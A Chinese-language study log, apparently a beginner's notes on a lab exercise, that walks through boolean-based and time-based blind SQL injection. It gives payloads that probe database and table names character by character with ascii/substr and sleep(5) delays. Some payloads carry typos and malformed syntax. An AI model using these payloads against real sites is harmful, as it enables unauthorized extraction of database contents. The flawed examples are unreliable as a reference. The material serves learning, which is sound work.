大哥带我走渗透ii--时间盲注,布尔盲注
5/27
基于布尔的盲注
- 我连题目都看不懂555,先去补充一点知识。https://blog.csdn.net/weixin_40709439/article/details/81355856
- 返回的true或者false
- 构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;
- 后者是在爆出字段数的基础上使用能触发SQL报错机制的注入语句
- 接下来看看是否报


在这里我多加了一个‘ ,说明前面是一个完整的一对单引号;
4. 开始测试
- 第一步我们测试长度

构造语句:
...... and lenth((select database()))>5 #查询当前数据库字段的长度
.......错误,说明太长了。

大于3成立,小于4也成立,大于4不成立,所以length取3,但是实际的要加一,长度就是4;大于他就取他+1
5.利用substr()ascii()函数进行尝试,猜测数据库中的第一个表的第一个字符;
ascii(x)=101,判断x的ascii码是否等于101,即email中的字母e
substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101
这里,大于100成立,测试得出取115

SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115
6.我们继续测试其他字段,一共有4个;虽然组长哪里有答案,但是我还是自己测试了(最后一个除外),,emmmm练手??
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115 # 116 t
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),2,1))>100 # e
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),3,1))>114 # s
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),4,1))>115 # t



6.所以该数据库的名字为test,接下来我们判断数据库中有多少表
length((select table_name from information_schema.tables where table_schema='test' limit 0,1))>5
#
组长这里写的长度为4,但是我觉得应该是5;
7.构造爆表语句:
表一:
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>96
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),2,1))>???
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),3,1))>96
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),4,1))>96
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),5,1))>96

表二:
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 1,1),1,1))>96

username password
5/27 mysql注入 基于时间的盲注
1.基于时间盲注,类似于基于布尔的盲注,通过注入特定语句,根据判断结果的对错将会出现一定时间的网页请求响应的延时。
https://www.cnblogs.com/-zhong/p/10931563.html

2.and1=1 and1=2 都是一样的界面

https://blog.csdn.net/DarkHQ/article/details/79274376
3.检测语句:利用sleep()函数进行延时注入
and if(ascii(substr((select database()),1,1))>10000,1,sleep(5)) #返回是错误就延时5秒,if(a,b,c),如果条件b

4.开始猜长度,构造语句:
if(length((select database()))>3,1,sleep(5))


所以字段有4位,
5.接下来就开始爆表名。
构造语句:
- if(ascii(substr((select database()),1,1))=??,1,sleep(5),1)
- if(ascii(substr((select database()),2,1))=??,1,sleep(5),1)
- if(ascii(substr((select database()),3,1))=??,1,sleep(5),1)
- if(ascii(substr((select database()),4,1))=??,1,sleep(5),1)
这个就很不一样了,,睡代表真===

所以得到第一个字母:116 t
最后得出:test
6.开始构造第一个字母。
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>100,1,sleep(5))

后面是,爆完字段爆表名,报完表名爆表里面的单个字名,
===写不来了。。。看组长的===https://www.cnblogs.com/-zhong/p/10931563.html
大哥带我走渗透ii--时间盲注,布尔盲注的更多相关文章
- 划水日记之大哥带我走渗透I
5/24/19 周五 access注入 先测试是否有漏洞 or nor and 1=1 and 1=2 2. Order by 猜字表端,发现一共有22个 3..然后使用 union select 1 ...
- 大哥带我走渗透8--CSRF的应用
1.大哥给了一个CSRF实战视频,真的很简单,但是我今天晚上有点不在状态,很多简单的问题也没有想.所以做了一个多小时.这件事给我的启发就是,无论发生什么事,都不要影响自己的学习.先写点废话,真的真的, ...
- 大哥带我走渗透4(中)----oracle报错注入
5/30 报错注入 0x01 准备阶段 1. 基础知识今天了解了,但是,只能看懂和最基本的理解,不能自己上路.所以,还是要不停学习基础.并且及时总结.这有一篇很详细的文章:https://www.cn ...
- 大哥带的Orchel数据库时间盲注
0X01Oracle基于延时的盲注总结 0x00 前言 oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注: oracle的时间盲注通常 ...
- 老鼠走迷宫II
转自:http://blog.csdn.net/holymaple/article/details/8636234 由于迷宫的设计,老鼠走迷宫的入口至出口路径可能不止一条,如何求出所有的路径呢? 解法 ...
- WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- sql布尔盲注和时间盲注的二分脚本
布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...
- sqli-labs less8-10(布尔盲注时间盲注)
less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...
随机推荐
- spark数据分析导论
1.spark的定义 spark是一个用来实现快速而通用的集群计算平台,高效的支持更多计算模式,包括交互式查询和流处理. 主要特点就是能够在内存中进行计算,即使在磁盘上进行计算依然比mapreduce ...
- 使用stylelint进行Vue项目样式检查
stylelint是一个强大的现代 CSS 检测器,可以让开发者在样式表中遵循一致的约定和避免错误.拥有超过170条的规则,包括捕捉错误.最佳实践.控制可以使用的语言特性和强制代码风格规范.它支持最新 ...
- 网云穿-SpringBoot项目映射外网
网云穿-最简单易用的内网穿透软件,最简洁教程一键穿透网站.数据库.远程桌面 网云穿,致力于打造最便捷的「内网穿透」应用 https://xiaomy.net/index.html 网云穿是一款可以在 ...
- pytest 教程
https://blog.csdn.net/lb245557472/article/details/90341297 https://blog.csdn.net/yyang3121/article/d ...
- list去重方法
list去重 方法1:利用循环去重 s= [1,1,2,2,2,3,4,4] res= [] for i in s: if i not in res: res.append(i) print(res) ...
- 英语单词Repository
Repository 来源——查看仓库的名称内容 [root@centos7 ~]# yum repolist Loaded plugins: fastestmirror Repository bas ...
- APP开发者如何从应用程序中赚钱?
付费应用程序,这是应用程序最基本的赚钱方式之一,也是拥有巨大潜力的赚钱方式之一.但有一个问题开发者必须扪心自问,您的程序用户是否有一批粉丝级用户的认可,或对您应用程序品牌的认可 蝉大师APP推广工 ...
- TP中如何用IF
将TP中这个容易忘的知识点记下来以便日后翻阅 $memberField = "ID, NAME, MOBILE, MEMBER_STATUS as status, IF (MEMBER_ST ...
- js中Array方法重写(二):myForEach;myEvery;mySome;myFilter;myReduce
一.myForEach //myForeach 数组每个元素都执行一次回调函数 Array.prototype.myForEach = function(callback){ for(var i = ...
- 让Tomcat支持php
在服务器上php的安装:1.下载php-4.4.2 for windows的压缩包2.解压缩到D:\software\php4423.将D:\software\php442增加到环境变量PATH中4. ...
